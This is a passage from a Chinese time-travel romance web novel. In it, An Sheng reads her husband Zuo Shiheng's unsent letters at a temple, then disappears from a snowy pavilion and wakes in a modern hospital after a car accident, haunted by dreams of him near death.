又过了会儿,那嘈杂之声愈大,夹杂吵闹,哭喊,惊叫,安声与林雪对视一眼,忙叫人开了窗看,从三楼望去,见隔了一条街的不远处,浓烟滚滚,似有火光。 与此同时,那些惊喊叫嚷也都清晰传入耳中,都是“走水了”“快救火”“救人”之类的。 两人有些没了兴致,担忧地望着。 没多久,店家便过来说了打听到的情况,说是天气干燥不小心起的火,幸而官府来的及时,已经控制了,再有半个时辰就能扑灭,无人身亡,只有十几个受伤的百姓,也伤得不算重,幸极,倒有一位工部官员跟着去救火时,意外被掉下来的木头砸到,骨折了。 安声听到这儿一惊:“谁被砸了?” 林雪立即会意:“这样的事不可能是左大人去,你放心。” 安声皱眉,缓缓吐了口气:“我知道不可能是。” 但她原先得到放松的神经却因这场火而再次紧绷起来。 这不过是个插曲,与左时珩毫无关系。 晚间左时珩回来,她问起,他便与她说了这事,那一片民宅有些过密,原先就规划得不太合理,加上一些富贵人家乱改乱建,更是拥挤。 秋冬时节,本就干燥,极易起火,因此他前年令府衙在附近增设了一座防火台,挖了两口井,以防患于未然。 这次果然用上。 也是这次火情得到及时控制的原因。 至于那位受伤的工部官员只是路过附近,虽不是职责范围,但仍出于爱民之心赶往一同救火,他已记录在案,上报吏部,给予嘉奖。 他说罢,见安声沉默不语,便揽她入怀,柔声问:“这么担心,是怕受伤的人是我吗?” 安声抱住他:“我知道不是,但还是担心。” 左时珩轻轻贴着妻子的脸蹭了蹭:“阿声最近有许多心事,能不能和我说一说。” “我不知道怎么说……” 安声心里有些无力,实则说了也没用,因为谶言是避无可避的一种虚幻,在她心里破土而出,生根发芽,唯与左时珩平安过了安和九年,她才能真正放心。 她贴紧他胸口,深吸一口气:“左时珩,我没关系的,其实我就是有一点想你,总想时刻都见到你。” 左时珩笑了笑,细细吻她眼尾。 “好,等我忙完这阵,便歇到年底,日日在家陪你。” 安声眼都亮了:“真的?” “真的。”他抱了安声坐在腿上,耐心解释,“天寒地冻,不宜施工,所以入冬后大部分陵寝、水利等工程已逐步停了,过一阵我便得十分清闲,最多批一些结算盘点的公文,以及来年的工程规划。” 安声彻底放了心,连阴霾都散去不少。 左时珩与她同吃同住,如何还能有意外。 她有了兴致,便好奇问起其他部门,左时珩笑说,户部年底是最忙的,也是吵架最多的时候,有时他路过户部衙门,还要特意多驻留几刻,就为听他们吵得热火朝天,让人神清气爽。 安声笑得戳戳他脸:“喔,原来是这样腹黑的左大人。” 左时珩握住她的手摩挲着,笑了笑,继续说。 吏部也不得闲,他们主管百官考核,礼部则已在筹备冬至、新年等典礼了,至于兵部或者刑部,忙不忙权看边防形势,和有无积压案件,相对好一些。 “不过我年后便要很忙了。”他歉声。 “年后没关系。”安声坐直了,与他眉心相碰,“我已迫不及待同你还有岁岁阿序一起跨年了。” 因左时珩的话,安声这晚总算睡得安稳了许多。 翌日,她上午陪岁岁一道写字读书,用了午膳后小憩了会儿。 不知陷入了什么梦魇,分明好像醒了,偏偏动不了,眼也睁不开,只听得耳边不断有人喊叫吵嚷跑动,似乎还有人要拖动她,摆弄她。 终于挣脱时,她惊得坐起,冬日里吓出一身冷汗,耳畔那些声音齐齐消失不见。 她心头慌得不行,又说不出来是为什么,心脏就是飞快跳着,似无根之水,浮萍之末。 蓦地,她冒出一个念头:她应该去趟天外山。 于是,安声叫了车夫,当即独自出了门,前往京郊。 天外山不用出城,若是快的话,半日足够来回。路上,她靠在马车里,依旧是心惊肉跳的,总觉得耳边那些声音有些熟悉,但实在乱地听不出来,如今醒来许久,便更不清晰了,思绪也混乱无序,只得暂时丢下。 山上没什么人,她几乎是半跑着抵达了来客寺,见到山门时,已是气喘吁吁,累得说不出话。 不过见时辰还早,她便缓了缓,才入寺中。 再次走进立石殿,那颗奇石依旧岿然原地,不曾有变。 她绕着奇石转了几圈,之前见过的两句谶言皆在,这两句都指向了同一个意思,那便是左时珩会死在安和九年。 算日子,今已十月廿八,到年底不过两个月,左时珩说下月初他便能得闲,他如今身体康健,按理说不会有意外才是。 安声注视着那两句英文,实在捉摸不透其中玄机。 正出神间,先前认识左时珩的那位老僧忽在殿外路过,见到她不由意外,便慈祥一笑:“原来是安夫人,怎么独自在此?” 安声回过神,朝他双手合十地见礼:“惠能师父。” 惠能问起她来意,她一时也不知作何解释,犹豫间,惠能似想起什么,笑道:“我这里有一些左大人年前留存的东西,不知夫人有无兴趣一观?” 左时珩留的东西? 安声有些惊讶,跟着老和尚来到侧殿一禅房,里头干净明亮,午后的日光透过窗棂浅照于地,被冉冉檀香散成几道七彩宝光,圣洁祥和。 惠能请她于一茶几前的蒲团上坐下,为她倒了杯茶,然后去内室拖了一口大箱子来。 灰尘扬起,在阳光下旋转,似萤火飞舞。 老和尚打开那口箱子,做了个“请”的手势。 安声探首一瞧,里面密密麻麻全是书信。 她有些不解。 遂拿起一封细看,信封上竟有左时珩的字迹。 惠能解释:“这些都是左大人写的信,年前运于寺中,请求住持代为焚于石前,住持心有顾虑,暂留了下来,我回山时,他将此事告知于我,我便放到自己房中,以待有时。” 安声打开一封,只看开头便已红了眼眶 “是……写给我的?” 惠能点头,长叹一声,视线落于箱内。 “差一封便够千数。” 五年间,左时珩来过数次来客寺,那块奇石不止被安声抚摸过,更是被他不知摩挲了多少遍,企图从无数划痕间寻找妻子的字迹。 他找到了,但看不懂,便知是妻子有意不让他知晓。 惠能说,起初他曾数度与殿内枯坐整夜,一人一灯独对一石,似是入定了般,直到久未进食水而昏厥过去。 后来,他便不常来寺中,惠能恰遇过他两次,问起缘由,左时珩也并未隐瞒,以实情相告。 惠能感慨说,这位不信神佛的年轻大官,天子近臣,当时憔悴不堪,双目通红,殷殷期盼地问他佛祖是否有解,他愿供奉一切,哪怕此身。 惠能从未听过此等奇事,自是无法给出回答。 只说佛渡世人,实乃自救,不可过执。 又见他实在痛苦,心如死灰,便邀他在殿中抄写心经,左时珩写了一篇就倒背如流,又写成数篇,最终喟叹无用,向他道谢后,失落而去。 “再后来,便只有送这一箱书信时,左大人才涉足了此地。”惠能的声音在禅房中缓缓响着,一双略有些浑浊但安宁的目光落在安声身上,微笑,“直到与夫人同行,情况已是大不相同。” “那日我便有意将这些书信奉还,奈何夫人提前离去,不料今日正好遇见,可谓恰逢其时。” 安声久不作声,静静听罢,垂眸望向手中书信,悄然泪落。 第34章 前夕 箱中共九百九十九封信。 安声曾留他九十九封,他以十倍回之。 她展开第一封信—— “阿声吾妻,卿卿如晤,遍寻卿三日不见,方阅卿所遗手书。汝信中言,‘恐将某日离散,非相弃也,非情绝也,乃身不由己不得已耳’,吾读来五内俱焚,忆汝曾某日梦醒,在吾怀中泣曰,若有分别之日,嘱吾待汝至安和九年三月。然今岁不过四年,漫漫五载,长夜独行,魂魄竟似与卿同去,唯恐此身未及春深,已做泉下白骨,负卿归来之约。” 安声泪落不绝,她似从未见过左时珩哭,但信中墨迹点点晕开,笔力飘忽,难以为继,便知他当时何等悲恸。 她又拆开其他回信,不知是否因安声留下的信不诉离别伤悲,皆语气轻快,言之轻松,故而左时珩的回信也渐渐回暖起来。 她说将来要随他去各地办差。 他回:“……吾系职工部,尽责乃人臣本分,然至外地,驿路崎岖,多有风霜,念卿质弱,纵有同去之心,亦不忍见卿受苦,非忍别也。卿携稚子居京,使吾跋涉之途常觉宽慰,此念系于吾身,宦游在外亦必当早早全躯而归。” 她说想与他逛遍天下四方,看遍江南塞北的风景。 他回:“……此亦吾所愿也。卿慕自由,吾爱卿,岂忍见困于金笼?愿携卿振翅凌霄,奔跃林原,尽兴而游,快意而生,抛却尘世一切烦扰。待倦时,卿归于吾侧,枕于吾怀,日日夜夜,连理同枝,天涯海角尽可去得。” 她还说要写一本游记或者传奇故事。 他回:“……吾自遇卿,常感天待吾厚,幸福至深,愿天下眷侣皆如你我。然有时辗转反侧,又恐好梦易醒,竟生私念,欲将卿藏于深院,你我独对,此段缘分不与世人知晓。若卿欲执笔成书,吾当濡墨相随,不必留名后世,只愿相知相惜,同廊下新燕,岁岁南来北往,延续百年千年。” 安声起先泣涕涟涟,读到后面心生暖意,如冬去春至,心情舒畅许多,大约随着岁月流逝,左时珩需要等待的五年越来越短,她归来的时日越来越近了。 还记得她当初看的第一封“她”留下的信,天马行空地说着蚂蚁,她便特意从箱子里取了后面的信来看,找到回信,发现左时珩竟也十分认真对待。 “……卿论蚁群之妙,谓万蚁实为一灵,蚁后为其颅脑,静思此理,倍觉精妙,吾深以为然。待卿归时,欲共验此道,攻打蚁巢,挟持蚁后,命万蚁列阵成文,排你我名姓于大地,亦不失为一大奇观。” 安声读之不由轻笑出声,目光愈发温柔。 左时珩他,真的很好。 读信太久,遂不知已夕阳半落,经老僧提醒,安声才从中抽离神思,恍惚感觉时光过了许久,从最初分别到五年孤独,再到安和九年相逢,又至今时今日,离安和十年也不过两月罢了。 “我要下山回家了。”她起身向惠能道谢。 惠能微笑问:“这些信不带走吗?” 安声轻摇首。 这些信于左时珩是一段失去挚爱的痛苦,信中即便字字语笑,安声也透过纸墨,见他孱弱病躯,强撑一身病痛。 是写给安声的信,她已看见了,已足够了。 “请您帮我继续保存,我明年会再来取的。” 下了山,已然天黑。 车夫接了她往内城赶路。 车轮滚动在石子路上,辚辚作响,又伴着哒哒马蹄。 安声靠于车内,还沉思在方才那些阅后的书信中,不觉眼泪潸然。 自云水山中遇他以来,左时珩从未对她倾诉过任何痛苦,他那样磅礴如潮的思念,竟能在初见她归时被克制了下来,小心且温柔地待她,护她,不使她困扰。 安声一直以为,左时珩是从容的,是温和的,是无所不能的坚韧与耐心,实难想象他那漫长一段,被思念折磨至形骸俱灭,魂魄不存的五年。 她忽然明白,她在安和九年春三月的如期归来,是左时珩最后一点生念。 因这生念,便如燎原之火,又将他的魂魄召回人间。 若是没有呢?她没有在那个时间地点,出现在那儿呢? 结局想来她也已知晓。 便是那第二句谶言—— “安和九年,左时珩没等到我,我于安和十年见到他的一座坟茔。” 她的恐慌来自何处。 来自左时珩失去她后的自戕。 车身一震,接着几声马儿嘶鸣惊断了她的思绪。 车夫急声:“夫人,我们遇见歹人了。” 每座城皆有流民,或成乞丐,或成歹徒,京城虽在天子脚下,也不例外。 入冬后,天气难熬,这些人作乱更要多些,于偏僻路段打劫往来路人是常有之事。 安声来此以后,被保护得太好,依然是那副现代社会法治国家的脑子,今日出门匆忙,未及思虑太多,想着就在城内,当日便回,于是连个侍卫也没安排,现下已经天黑,这段路处于内外城之间,连巡防的官兵只怕也不知多久才来一次,被歹人盯上再正常不过。 她连忙吩咐车夫不要与其发生冲突,翻遍全身,出门没带银子,只好拆下发间一支珠钗给他,让其当作买路财。 天色漆黑,唯有马车上两个灯笼幽幽照着,隐约可见三四个高低人影,黑暗中还不知有多少。 显然,安声所坐马车虽不豪奢,也一看就是富贵人家,一支珠钗满足不了他们的贪婪,于是几人说着脏话纠结上前,欲拽安声下车。 安声正想着干脆令车夫纵马强闯,大声疾呼引来官兵时,黑暗里闪过一道寒光利刃,轻松几下便伤了两人,随即她听得一声熟悉的叱咤:“滚!”那些歹人猢狲似的一哄而散了。 安声这才敢打开马车帘子,惊喜不已:“文先生!” 她没想到竟然在此路遇岁岁的老师文瑶,还蒙她出手相救,得知她也正要回永国公府,便热情邀她一同上车,往内城去。 安声问她怎会在此,她沉默许久,挺直的脊背松了松,抱剑倚在车壁上:“去城西祭拜一位故人。” 安声望着文瑶,因知道她是江湖中人,从前只觉得她身上侠气更重,如今眉宇间少见地添了忧思,便充满了风霜里滚过的故事感。 每个人都有自己的秘密,安声没有追问,但文瑶也并未有隐瞒的意思,收拾心情后再度恢复平静。 她说自己年少时在兰州为人所救,与他相处半年,他不告而别。她后来入了教坊,学了武功,长大后再寻那人,却发现他原来并非江湖人士,而是一名朝廷禁卫,待她一路来京时,听说那人已然殉职,葬在城西。正好她先前因教习汝宁公主而有些名声,得永国公府相邀,便索性在京住了下来,每到月底,来城西祭拜一回。 “原来如此。”安声听罢感慨,“文大侠是个重情重义之人。” 文瑶浅笑:“我算什么大侠,他才是,救了我这样一个非亲非故的小女孩,也不求回报,只是于我,救命之恩难报,实在愧疚于心。” 可是斯人已逝,幽魂难寻。 也不过清香一炷,纸钱一把,再徒留天地间一人之伤悲叹息罢了。 车内陷入安静时,马车再度停下。 外面响起车夫高声恭敬:“大人!” 安声立即打开帘子,眼眸发亮,惊喜喊:“左时珩!” 清冷长夜中,左时珩一袭青袍驾马疾驰近前,而后匆匆停下,翻身下马,在马车前静立望来,为灯笼的烛光轻轻一照,实在清隽无双,如松如竹。 文瑶当即下了马车,朝他行了一礼,左时珩点头。 安声喊她,她摆了摆手,在夜色中潇洒地扬长而去。 安声要跳下马车,左时珩已然上前伸手接她,她却一个借力扑在他怀中,搂住他脖子。 “对不起左时珩,我不是故意要让你担心的。” 大约是太焦急匆忙寻她了,左时珩的气息有些急促,心跳也快,如今抱她在怀,才渐渐平稳下来。 将她抱得紧紧的,他安抚似的摸了摸她头发,温柔道:“好,没事了。” 又笑问她:“要不要跟我骑马回去?” 安声雀跃:“要!” 左时珩颔首,吩咐车夫将马车赶回府上,随后抱安声上马,他坐于后,两人同乘一匹。 左时珩用披风将她完全裹在怀中,只露个脑袋在外面,慢悠悠地往家走去。 “冷吗?”他问。 “不冷。”安声仰了仰头,故意用脸蹭他下巴,“左时珩,你生我气吗?” 左时珩笑了声,拽紧缰绳:“讨好我没用,难道你的夫君这么好哄?” “特别好哄啊,一哄就好。” “是吗?” “嗯,因为他从不会真的生我气,我也不舍得让他生气。” 左时珩低头轻咬她耳朵,惹得她缩了缩脖子,“欸呀”一声。 “不舍得让我生气,还孤身出门,夜晚才归。” “我错了。”安声态度诚恳,“我没想太多,这里还是跟我的世界不一样。” 提及她的世界,左时珩呼吸滞了滞,才用下巴回蹭着她发顶。 “阿声,是不是想家了?” 他一直知道她非现世之人,但她来的那个地方,远在千里万里乃至万万里之外,无人可至之处,他亦不可。 那里是他完全陌生的地方,从她口中所说的一切,他也从未听过,甚至并不理解。 妻子消失的五年间,他想她可能是回了家,但那里却比碧落黄泉更难寻觅。 “原本想,但现在已不想了。”安声往后靠在他怀中,眷恋着他的体温,“自我外婆去世后,已经没什么人爱我了,但在这里,你爱我,岁岁和阿序也爱我,我也爱你们。” 抵达府邸门前,左时珩抱安声下了马,相携回了风芜院。 一回来,岁岁便扑入安声怀中,红着眼道:“娘亲下次出门,将我也带上吧,我不要在家里等,我很害怕。” 安声抱住她,忙跟她诚恳道歉,并保证下次出门一定带上她,岁岁才重展笑颜。 穆诗与李妈妈也急得够呛,当时安声急着出门,只与穆诗说了声便走,她拦也拦不住,等到天黑夫人都未归,已忍不住哭将起来。 幸好,大人又接到夫人一起归家了。 夜间,安声与左时珩同榻而眠,在他怀里抬起头问:“左时珩,你怎么不问我去天外山做什么?” 左时珩轻轻吻她,嗓音温润:“我不愿你有压力,只要在我身边,你做什么都好。” 安声揶揄:“做什么都好?那我杀人放火怎么办?” “嗯……”左时珩思忖片刻,“大理寺监牢比京都监狱条件好些,建筑都在地面上方,更方便劫狱……早知当初就不特意修缮加固了,不过如今的设计仍有处不为人知的漏洞,或许可以一试。” “左时珩……”安声埋在他颈间笑得发抖,“你听听你在说什么啊。” 她仰起脸,一双杏眸晶亮,满是笑意,双颊泛着桃粉,烛光一照,更是娇憨得惹人爱怜不已。 左时珩搂着她坐起,转身让她靠在臂弯里,低头去吻她。 柔软的唇瓣相依时,笑意又轻泻出来:“嗯,我在说,夫人做什么,我都奉陪。” …… 十月一过,左时珩果真闲了下来,除了朝会和偶尔要去趟工部衙门外,其余公务皆在家处理。 冬日寒冷,两人相互温存,或临窗对弈,或写字看书,实在闲适惬意。 十一月初六,白日忽然起风,冷冽如刀。 刮了两日,初八夜幕降临后,风虽停了,气温却是骤降,大约是寒潮来袭。 夜里,安声端了汤羹往书房去,穆诗提了灯在前头照路。 穿过庭中那短短连廊时,她蓦地停下,灯笼在手中晃了晃,扯出一片不安的光影。 “怎么了?”安声问。 穆诗望向沉沉苍穹,俄而伸手,转身朝她笑了笑。 “好像下雪了。” 第35章 生别 安和九年的第一场雪,下了整整一夜。 天亮时,雪仍未停,不过只剩了懒懒的絮,在寒风里飘飞。 天地皆白,混沌初分。 比往常迟了稍许,才有人走出来,慢慢扫去门前的雪,晕成这幅空白画纸上的点点墨迹。 安声刚将手从被窝里拿出来,便又缩了回去。 好冷。 她翻身向外,手臂自然地搭了过去,身旁空空如也,一下将她睡意惊走了许多。 不过下一刻,被角便被轻轻掀开,她落入一个略带凉意的怀抱里。 左时珩摸摸她头发:“吵醒你了?” 安声在他怀中闭着眼摇头,蹭了蹭,将脑袋完全埋在他胸膛。 “还以为你不在。” 左时珩拥着她再度躺下。 “外面很冷,我方才是去添了炭火,让屋子里更暖些。” “嗯……很冷那就不起来了。” “是谁昨夜睡前兴冲冲地跟我说,明早要去湖心亭围炉煮茶,踏雪寻梅的?”左时珩笑了下,将被角掖紧了些。 安声懒懒的:“反正一时半会儿又化不了嘛。” 虽不想起,但睡得早,这会儿醒了也就不困了,两人躺在一块闲聊几句,就更没了睡意。 于是不到半个时辰,到底还是起了。 不过下床时,她眼前骤然闪过道白光,晃得她踉跄了下,跌入左时珩臂弯。 “怎么了?”他担心问,“可是在屋中闷得头晕?” “不晕。”安声也有些莫名,扶着他站稳了,说不出所以然来,便笑道,“可能是还没睡醒。” 不过心口却陡然生出怪异的空落感,寻不出根由,只得暂时压下不去管。 穆诗领人送了热水来,水汽蒸腾。 两人洗漱一番,吃了早膳。 天冷了,岁岁还在赖床,所以如今不跟父母一起吃早饭,免得来回跑着容易着凉。 前两日安声与左时珩还在说,书院快放假了,要一起去接阿序回来,如今这么大一场雪,大概书院还要放得更早些。 离年底不过一个多月,家人在一起温馨平淡地度过这个严寒冬日,是安声期待许久的一件事。 接近巳时,她才推门出去,立时一股寒意扑面,不禁缩了缩肩膀。 身上穿得很厚,还裹着毛茸茸的斗篷,安声扬了扬胳膊,望向身旁披着大氅的左时珩。 “我现在是一只笨拙的北极熊了。” “熊可一点不笨拙。” 安声仰头:“那你是说我笨拙?” “我是说,熊是猛兽,可不及你冬日可爱。” 左时珩扬手将她肩上的风帽给她戴上,系紧,掩住顷刻便被风吹的泛红的脸,眼底透着宠溺的笑:“你是一只圆滚滚的……小兔子。” “哼,那我就是一只北极兔了。”安声满意点头。 阶前的雪已被扫去,不过因雪未停,又覆了层白。 安声慢慢向院门走去,路过庭中划过青空萧萧瑟瑟的海棠枯枝,路过被雪压弯却愈发苍翠的竹,还有墙角那丛沉默的忍冬。 她踏上台阶,站在院门后朝左时珩摆手笑:“南院那边的梅必定开了,我去折几枝来,再去湖心亭找你。” 左时珩颔首应:“好。” 府邸很大,内院有一个荷花池,湖上架有廊桥,通往一个四面透风的水上小亭,天冷起来,池水便冻住了,昨夜那样一场雪后,今晨彻底化作块羊脂玉,倒映着池边琼枝倩影。 因安声想要在此煮茶赏雪,左时珩昨夜便早早吩咐了,于是下人们已将亭子四面用幔围起,既可防风,也能透光,里面置有一茶几,一软榻,榻上一床厚毯子,旁边还有一个小火炉,一袋银丝炭,不过如今炭火还是冷的。 他端坐于内,将炉子点上,待安声折梅来时,亭中已然烘热,便不会冷到。 不久,下人又送来茶水,一筐吃食。 炉子生起来,几块炭燃着红红的光,逸散出暖意。 他挽袖,露出一截玉白腕骨,修长手指不疾不徐地拨了茶叶在壶中,倒了水,置于炉上,又拖了那筐过来。 冬日少有几样新鲜蔬果,这筐里倒还算丰富,是一些秋日贮存的板栗、核桃、花生等干果,还有新鲜红薯,以及前几日宫里赏赐的一小筐蜜橘。 左时珩将这些一一摆在炉旁铁架上烤着。 茶煮得很快,不久已清香冉冉,氤氲在这方寸天地间。 左时珩轻轻拨弄着那些果子,烤得要慢一些,不过这正合妻子的意,若是他全将这些小事做了,她便要损失许多乐趣了。 想到此处,他不禁唇角扬起一抹浅笑,似乎已见到安声待会儿高兴地摆弄炉火的可爱模样了。 转头,目光透过卷起的纱幔望向折叠弯曲的廊桥,尽头处正有一道雪白人影朝他而来。 穹宇混沌,茫茫不分,她捧一束寒梅,是天地间唯一的亮色。 左时珩立即起身,迎了上去。 安声才走了半途,便见左时珩过来,她将几枝梅递到他面前,眉梢眼角俱是明媚晴光:“好不好看?” 左时珩望着她笑:“好看。” 又低声问:“冷不冷?” “不冷。”安声摇头,然后抬头看了眼,“好像雪又要下大了。” 左时珩牵起她手:“嗯,到亭中去吧,里面已暖和起来了。” 安声望向不远处那一方小亭,被他牵着走,不由笑道:“我一开始以为湖心亭是划着小船过去的那种,四面临水,像我小时候学的那篇课文,‘天与云与山与水,上下一白,湖上影子,惟长堤一痕、湖心亭一点、与余舟一芥、舟中……’” 她顿了顿,歪着头看左时珩,眼眸弯弯:“舟中只有两人,你和我。” 左时珩便笑:“北阳湖便是这般景色,若你不怕冷,起得来,我们明日就去如何?” “肯定起得来,你得叫我,叫一遍两遍三遍四遍……我就起来了。” 安声晃了晃他的手,步入亭中,顿觉暖意拥来,不觉深吸一口气。 “坐下歇一歇,暖一暖,我先给你倒杯茶。” 左时珩转身向炉火旁。 “左时珩,这梅花要找个瓶子……” 话语戛然而止,寂静无声。 左时珩才提了茶壶把手,怔了怔,回头望去—— 亭中空空荡荡,不见人影,唯有几枝寒梅落于地上,渐渐沾上袭来的雪。 雪下大了,又起了风,左时珩视线被漫卷无序的雪分割着,近处桥廊,远处屋脊,俱融成了灰白一片。 他松了手,向外轻唤一声:“阿声?” 无人应答,转瞬被风雪吞没。 他俯身拾起那几枝梅,走出亭子,盯着来时两人尚未被雪完全覆盖的脚印,眼底渗出细密恐惧。 雪下得更急了,簌簌作响,落满全身,结成冰霜,冷得人骨头发颤。 左时珩嘴唇翕张,再唤不出一声,他茫然立在天地间,脸上薄薄血色迅速褪去,苍白如纸,浑身血液冻成了冰,连同心脏也不再跳动。 良久,他忽然唇角溢出暗红的血,遂失力跌在雪中,呕血不止。 拥在怀中的那束寒梅被鲜血浸透了,又慢慢结成了冰。 天地无声,唯风雪肆意- “还有意识吗?” “有。” 两句模糊不清的对话传入安声耳中,她不舒服地闭上眼,还没意识到身处何处,又再次陷入黑暗。 好困,仿佛身体里的力气都被抽干了似的,无比沉重,一再往下坠去,她很想睡觉。 但不知为什么,她身边好像来来去去好些人,总在喊她,吵她,一再打扰她的好眠。 直到她烦躁地睁开眼。 …… 病房窗外种了一排的樱花,时值农历三月,正盛放得灿烂,一阵风来,便洋洋洒洒,似漫天大雪。 安声靠在病床上望着,有些发呆。 她记得那场车祸,当她从公司离职后不久,便被一辆失控的大卡车撞上。 她因内出血被送去ICU抢救一日,生命体征平稳后又在重症监护室观察了两三日,后来才转入普通病房,至今已住院两周。 父母在当天就接到警察电话来过了,等她脱离生命危险后才走,不过,医药费还没交齐。 安声听罢不过笑了笑,她就知道会是这样。 她小学六年级时父母离婚,她被判给父亲,后来父母各自进入新的家庭,有了新的孩子,为她抚养费的问题吵了没有一千次也有一百次。 她住院期间,妈妈来看过她,给她留了两千,说自己多么不容易,她那个同母异父的妹妹才报了两个特长班,一学期就要几千块,又问她:“你工资挺高的,应该够吧?要是不够,你再跟我说,我想想办法。” 安声说:“够了。” 母亲松了口气,笑道:“我就说,小声你有出息啊,考了好大学,找的又是好工作,又体面工资又高,你妹妹将来不一定比得上你。” 临走前,又想起来问:“上次我发给你的那个男生,你聊了吗?你这突然出个事,人家还关心你呢,有空你跟他吃个饭?” 安声闭上眼:“妈妈,我困了,下次再说吧。” 很多同事也来看过她,惋惜说她辞的不是时候,不然就算工伤了,不过万幸人没大事就好。 她倦极了,实在疲于应付。 后来父亲也来,来时她刚吃了饭,父亲将提的一袋水果放在床头,忽然问:“你们公司能赔吧?加上你那个医疗保险,你抽空算一下,一共能报多少,我先给你垫着的,到时候你……” “到时候还你是吗?”安声打断他。 父亲讪讪:“你看你,我话都没说完,我一个做爸爸的,能跟你要钱吗?我是说,你那个大公司……” 安声再次打断他:“爸爸,我已经辞职了,公司不报。” 父亲一愣:“你辞职了?” 得到肯定答复后,转而愠怒:“你好端端的为什么辞职啊?放着好好的工作不干,你一天到晚想什么?我有时候真搞不懂你,从小到大你知道……” 安声叹气:“不要说了爸爸,医保能报很多,剩下的部分我自己出。” 她一共在医院住了三周,几乎每日都是望着窗外飘落的樱花度过。 出院那日,樱花已凋零得差不多了。 她在收拾东西时,护士过来查房,笑着和她打了个招呼。 “今天出院吗?出院之后好好休养,恢复得很快的,不要担心。” “谢谢。”她笑着点头。 护士似乎想起什么,问她:“对了,左时珩是你认识的人吗?” “左时珩?” “嗯,你被送来那天,一直念着这个名字。” 安声诧异,认真想了想,摇头一笑:“我没印象,可能是做梦的时候胡言乱语吧。”—— 作者有话说:江湖规矩我懂,明天我会加更[饭饭] 第36章 梦你 安声拎着大包小包,从医院回了租的房子,将行李往客厅角落一放,她的精力已经用光。 按理说,她因这次受伤已在医院休息三周,自入职以来,天天加班,连年假都没休全的她,还从未歇这么长时间。 但她还是很累,说不出的累。 仿佛心脏缓慢跳动,供血不足,不足以支撑她这副疲惫的躯体。 安声扑倒在沙发上,打开电视,随意找了部搞笑综艺播放。 综艺游戏环节抓马有趣,嘉宾们也都很有梗,她边看边跟着笑,但笑着笑着,她忽然觉得,“笑”也是一件很累的事,而她,没有这样的情绪来完成这件事。 于是干脆闭上眼小憩,将电视音当作背景音来听。 没多久,她开始犯困。 说来,她最近这段时间睡眠并不太好,之前总是频繁做一些混乱的梦,醒来又记不住,只有一些碎片,依稀是什么人说着什么古代的话,她归结于之前古装剧看多了,以及在病床上睡不安稳的缘故,并未深想。 安声翻了个身,用沙发上的毯子将自己裹住。 她又开始做梦了,但又似乎是清醒的,或是半梦半醒,以至于不知何年何月何人身在何处。 恍惚是深夜,大雪天。 她走进一座很大的宅邸,看见许多人来回跑动,有人急切地喊:“快,快请胡太医过来!快啊!” 跑动的人现出残影,五官模糊,叫她看不真切。 她看见一座院子亮着灯,于是走了进去,路过院门时稍稍驻足了下,抬眼观匾额写着“风芜院”三字,字写得极为好看。 院里有很多人,她听见有人在哭,不过一切都仿佛蒙在薄纱之下,隔雾观花。 她像一个幽灵,有人路过她身边时,甚至没有抬头看她一眼,她就这样,随人走进了主屋。 厅堂灯火通明,充斥着刺鼻的药味,一个十八九岁的年轻姑娘匆匆端着药来,向一个老大夫哭问:“已熬好了,还要喂吗?” 老大夫重重叹气:“先别喂了,吃进去也全吐了,反倒伤胃,这是左大人自己了无生趣,强求无用,如今他心脉受损过重,老夫已然束手无策,还是等胡太医来吧。” 左大人? 好熟悉的称呼。 她看见年轻姑娘双手颤抖,几乎抓不住托盘,哭泣不止,一直喃喃:“怎么办……怎么办啊……” 左边主屋里传出稚嫩哭喊,一妇人匆匆而出,满脸是泪,捉人急问:“胡太医来了吗?胡太医来了没有!” “快了快了!” “再快一点!这样不行啊!大人一直在吐血……” 她路过妇人,走进屋内,想看一眼到底发生何事,是什么情形,又忽听妇人在其身后问了句:“少爷呢?” 她下意识回头,听人答:“少爷天黑出了门,不知去了哪里。” 妇人更是急得跺脚:“欸呀,外头冰天雪地的,出了事可怎么好!快!快让人去找啊!” “已去找了!他们说…… 待要再听,她又被阵阵小姑娘的哭声扯去注意力,便入了屋中,屋中点着数盏灯烛,烧着炭盆,很热。 又见一张床榻,浅色粉帐挂起金钩,八九岁的小姑娘趴在床边哀哀哭着,握着一只苍白的手,一会儿喊“爹爹”,一会儿喊“娘亲”。 她不知为何,鼻头一酸,也跟着掉下泪来。 她生出一股想将眼前可怜兮兮的小姑娘搂进怀中的冲动,于是又近前,忽看清了床上之人。 是一个容貌十分英俊的男人。 其面白如雪,双眸紧阖,纤长墨睫在眼睑处投下沉重不安的影,唇色亦干枯失去血色,唯一的颜色是凝在嘴角的一抹未干的血。 不止是嘴角,借着烛光她看的更清了,他衣襟上,被子上以及地面上也有血迹,触目惊心。 不知是冷汗还是泪水,男人枕侧都浸湿了,额发凌乱地黏在脸上,胸前寥寥起伏,气息近似于无。 她望着,忽觉眼前所见如青竹摧折,玉山崩塌,便无声落下泪来。 “他……怎么了?”她问。 自然无人答她。 于是她情不自禁地,俯身去握他那只骨节分明冰冷异常的手。 刺耳的手机铃声惊断了她的梦—— 是父亲打来的。 安声瞥了眼手机屏幕,接起。 电话那头,传来父亲催促的声音:“你那个医保怎么说,你问了吗?什么时候到账?要准备什么资料之类的,你提前……” “爸爸,对方全责,医保不报。” “什么……什么不报?为什么不报?你之前为什么说能报?那你这个几万块现在怎么搞?对方全责那对方怎么不给你垫付?不行明天我去警察局一趟,把对方约了见面看看这事……” 安声长叹一口气,直接挂断了电话。 她坐起来打开微信,发现爸妈都给她发了很多条语音,她没回,所以父亲直接打过来,于是她回了消息。 “爸爸,钱的事你不用管,我把之前你垫付的给你打过去,交通事故的后续我自己处理。” 她住院一共花了七万多,父亲垫付了一多半,她先把这部分凑了个整给他全转了过去。 很快,父亲的语音消息又发过来,她看着那些语音条红点,一点都没有点开的欲望,直接将对话框设为了不显示。 她住院期间联系的律师也给她发了消息,说对方愿意私下和解,但具体赔偿金额有争议,如果她接受不了,就还是走法院起诉。 她酝酿片刻,给对方回了个电话,简单问了下情况,将这事全权交给律师去处理,说结果差不多就行,她都能接受。 挂完电话,屋内又恢复安静。 电视机上的综艺不知什么时候已经播完了,暂定在了最后一帧上。 关掉电视,安声身心俱疲地拥着毯子再度躺下,模糊忆起一些梦境片段,心里发闷,浑身无力。 晚上她点了个外卖,一杯奶茶。 打开后一点胃口都没有,奶茶也只勉强喝了两口,就全丢垃圾桶,然后洗了个澡直接关灯睡觉。 不知是不是下午睡过,这会儿她躺在床上反倒睡不着了。 她抬手放到胸口,感觉心跳很快,让她有种心慌的感觉,连呼吸也开始不畅,直到坐起来才勉强舒服些。 